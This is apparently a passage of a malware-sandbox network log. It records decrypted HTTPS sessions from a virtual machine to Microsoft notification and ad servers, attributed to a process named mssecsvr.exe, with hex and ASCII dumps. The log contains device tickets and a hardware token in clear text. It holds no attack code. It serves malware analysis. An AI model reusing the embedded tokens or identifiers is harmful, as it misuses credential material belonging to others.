2022-07-20 17:31:28 UTC	8332	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 33 39 35 35 39 31 36 65 34 61 62 34 62 63 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: d3955916e4ab4bcf<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:28 UTC	8333	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 33 39 35 35 39 31 36 65 34 61 62 34 62 63 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: d3955916e4ab4bcf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:31:28 UTC	8333	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:28 UTC	8333	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 4b 4e 77 61 74 49 58 4d 55 75 42 48 2b 51 69 6e 68 69 69 5a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iKNwatIXMUuBH+QinhiiZw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	51291	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:31 UTC	8334	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023125Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=89fb826b7c534a14aa59042c1b36163b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611746&metered=false&nettype=ethernet&npid=sc-310091&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=febefl7%2C1&tl=2&tsu=1611746&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: roOTgxd0CUGia0eI.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:31:31 UTC	8336	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: HNlcsayQhhoPBYDsJN6+djdJzc4XRcV3C0B7PPwmU2nVb7ixgFJiKAIOydGXUFFttlKC+PLgBjVGxNa+UX0R2rQjShr1hDj7HfcBGxR21MMEP/n4aOwJM8EuFhpwshvRv+vrfsGd5a+jFIWk8BIrnuCN3qCQj8on1lKLmQpi4QX5eJFWysdxNvi0H/XJspQmgTeQ/alE6QodrPKjmOKkdoEwvuJTDTW3yn5CsZFtca2sw/qpujkYUtKrn6PKbGY4MyI8+z7btF4NQNTddEmNrqOxPKcL8NFReWReWpk9RrtzvbWPtWcMADOFiXHUJRVksIanSKU5+spcD6lLw1mk1w== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:31:31 GMT Connection: close
2022-07-20 17:31:31 UTC	8336	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 32 31 3a 33 31 3a 33 31 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T21:31:31"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	51663	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:42 UTC	8337	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 30 63 33 32 37 61 34 64 63 35 33 39 32 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 6c0c327a4dc53927
2022-07-20 17:31:42 UTC	8337	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:42 UTC	8337	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 30 63 33 32 37 61 34 64 63 35 33 39 32 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 6c0c327a4dc53927<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:42 UTC	8338	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 63 30 63 33 32 37 61 34 64 63 35 33 39 32 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 6c0c327a4dc53927
2022-07-20 17:31:42 UTC	8338	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:42 UTC	8338	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 56 48 31 6f 52 2f 41 4e 45 32 2b 50 6c 55 39 58 41 6a 50 50 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tVH1oR/ANE2+PlU9XAjPPQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	52064	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:51 UTC	8338	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 31 34 61 35 38 37 64 61 36 39 38 62 32 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 4b14a587da698b20
2022-07-20 17:31:51 UTC	8338	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:51 UTC	8338	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 31 34 61 35 38 37 64 61 36 39 38 62 32 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 4b14a587da698b20<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:51 UTC	8339	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 62 31 34 61 35 38 37 64 61 36 39 38 62 32 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 4b14a587da698b20<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:31:51 UTC	8339	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:51 UTC	8339	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 66 57 6a 49 51 61 30 76 30 75 77 71 53 56 6c 6c 30 4b 6d 36 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TfWjIQa0v0uwqSVll0Km6A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	52454	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:02 UTC	8340	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 66 30 38 61 61 64 66 64 37 30 31 34 64 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 93f08aadfd7014d3
2022-07-20 17:32:02 UTC	8340	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:32:02 UTC	8340	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 66 30 38 61 61 64 66 64 37 30 31 34 64 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 93f08aadfd7014d3<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:32:02 UTC	8341	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 33 66 30 38 61 61 64 66 64 37 30 31 34 64 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 93f08aadfd7014d3
2022-07-20 17:32:03 UTC	8341	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:32:03 UTC	8341	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 45 37 48 4a 66 37 69 79 30 79 41 77 66 49 4e 63 51 31 66 37 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /E7HJf7iy0yAwfINcQ1f7g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	53463	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:23 UTC	8341	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 64 30 36 39 33 38 66 30 30 61 61 65 35 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d1d06938f00aae5f
2022-07-20 17:32:23 UTC	8341	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:32:23 UTC	8341	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 64 30 36 39 33 38 66 30 30 61 61 65 35 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: d1d06938f00aae5f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:32:23 UTC	8342	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 64 30 36 39 33 38 66 30 30 61 61 65 35 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: d1d06938f00aae5f
2022-07-20 17:32:23 UTC	8342	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:32:23 UTC	8342	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 74 4e 50 6a 46 49 69 4b 30 57 6e 5a 36 33 4c 43 51 56 38 6a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +tNPjFIiK0WnZ63LCQV8jA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	53528	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:24 UTC	8342	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 66 31 37 31 39 36 39 31 33 63 35 34 31 30 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 3f17196913c54108
2022-07-20 17:32:24 UTC	8342	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
